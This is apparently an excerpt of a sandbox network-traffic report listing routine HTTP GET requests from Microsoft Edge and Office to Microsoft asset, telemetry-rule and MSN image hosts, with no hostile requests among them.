Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731781348341&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f28f8802731c4550a703f615bcd7ea64&activityId=f28f8802731c4550a703f615bcd7ea64&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FD86DEFD7D344959BF644E1D8EF91D44&MUID=3A4078140C106EC03F536D2D0D356F1D HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732386144&P2=404&P3=2&P4=RweVHbHVDbi77KxnW6wGlf6cgsHIqWxROk2qqvBBFI5DWCJs5heOA2bzDgxkfOd6SMt5sx%2bT96ZXW31L6R2%2fNA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: I/02R5A+djbH0wjk3vkTxVSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
